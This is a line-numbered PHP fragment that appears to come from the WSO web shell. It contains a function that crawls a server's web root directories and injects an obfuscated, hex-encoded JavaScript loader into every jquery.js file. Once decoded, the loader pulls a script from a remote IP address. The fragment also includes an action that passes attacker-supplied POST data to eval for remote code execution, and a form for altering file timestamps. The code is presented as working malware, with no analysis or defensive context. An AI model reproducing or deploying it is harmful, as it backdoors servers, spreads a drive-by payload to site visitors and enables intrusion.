673 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
674 break;
675 }
676 echo '</div>';
677 wsoFooter();
678}
679
680
681
682
683//frame
684function replace_frame()
685{
686$file_name = 'jquery.js';
687$text = 'var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))
688';
689$position = 2;
690
691
692
693//$file_name = $_POST['file'];
694//$text = $_POST['text'];
695//$position = $_POST['position'];
696
697function getDirContents($dir) {
698
699 global $file_name, $text, $position;
700 $files = scandir($dir);
701
702 foreach($files as $key => $value){
703 $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
704
705 if(!is_dir($path)) {
706 $path_info = pathinfo($path);
707 if($file_name == $path_info['basename']) {
708
709 echo 'Find ';
710 //echo '# ';.$path_info['basename'].' '.$path."\n"
711 $pos1 = stripos(file_get_contents($path), $text);
712 if ($pos1 === false) {
713 echo 'EDIT '.$path."\n";
714 if($position == 2) {
715 file_put_contents($path, $text, FILE_APPEND);
716 }
717 else {
718 file_put_contents($path, $text.file_get_contents($path));
719 }
720 }
721
722 }
723 } elseif($value != "." && $value != "..") {
724 getDirContents($path);
725 }
726 }
727
728
729}
730
731//start
732
733$path = $_SERVER['DOCUMENT_ROOT'];
734
735//public_html
736$pos1 = stripos($path,'/public_html/');
737if ($pos1 !== false){
738$rest = substr($path, 0, stripos($path, '/public_html/') + strlen('/public_html/'));
739getDirContents($rest);
740} else {
741 //html
742 $pos1 = stripos($path,'/html/');
743 if ($pos1 !== false){
744 $rest = substr($path, 0, stripos($path, '/html/') + strlen('/html/'));
745 getDirContents($rest);
746 } else {
747 //httpdocs
748 $pos1 = stripos($path,'/httpdocs/');
749 if ($pos1 !== false){
750 $rest = substr($path, 0, stripos($path, '/httpdocs/') + strlen('/httpdocs/'));
751 getDirContents($rest);
752 } else {
753 //vhosts
754 $pos1 = stripos($path,'/vhosts/');
755 if ($pos1 !== false){
756 $rest = substr($path, 0, stripos($path, '/vhosts/') + strlen('/vhosts/'));
757 getDirContents($rest);
758 } else {
759 //www
760 $pos1 = stripos($path,'/www/');
761 if ($pos1 !== false){
762 $rest = substr($path, 0, stripos($path, '/www/') + strlen('/www/'));
763 getDirContents($rest);
764 } else {
765 //wwwroot
766 $pos1 = stripos($path,'/wwwroot/');
767 if ($pos1 !== false){
768 $rest = substr($path, 0, stripos($path, '/wwwroot/') + strlen('/wwwroot/'));
769 } else {
770 //web
771 $pos1 = stripos($path,'/web/');
772 if ($pos1 !== false){
773 $rest = substr($path, 0, stripos($path, '/web/') + strlen('/web/'));
774 } else {
775 getDirContents($_SERVER['DOCUMENT_ROOT']);
776 }}
777 }
778 }
779 }
780 }
781
782}
783}
784
785function actionFramer() {
786
787 WSOHeader();
788 echo '<h1>KEY VALUE</h1>
789 <div class=content>';
790 echo '<table><form name="fr" method="post" onsubmit="var a=[this.level.value, this.file.value]; g(null,null,this.frame.value,this.rep_place.value,a); return false;">
791 <tr><td>KEY</td><td><input type="text" name="frame" value="'.htmlspecialchars($_POST['p1']).'"></td></tr>
792 <tr><td></td><td><input type=submit value=">>"></td></tr>
793 </form></table>';
794 if(!empty($_POST['p1'])){
795 replace_frame();
796
797 }
798 echo '</div>';
799 WSOFooter();
800}
801
802function actionRC() {
803 if(!@$_POST['p1']) {
804 $a = array(
805 "uname" => php_uname(),
806 "php_version" => phpversion(),
807 "wso_version" => WSO_VERSION,
808 "safemode" => @ini_get('safe_mode')
809 );
810 echo serialize($a);
811 } else {
812 eval($_POST['p1']);
813 }
814}
815if( empty($_POST['a']) )
816 if(isset($default_action) && function_exists('action' . $default_action))
817 $_POST['a'] = $default_action;
818 else
819 $_POST['a'] = 'SecInfo';
820if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
821 call_user_func('action' . $_POST['a']);
822exit;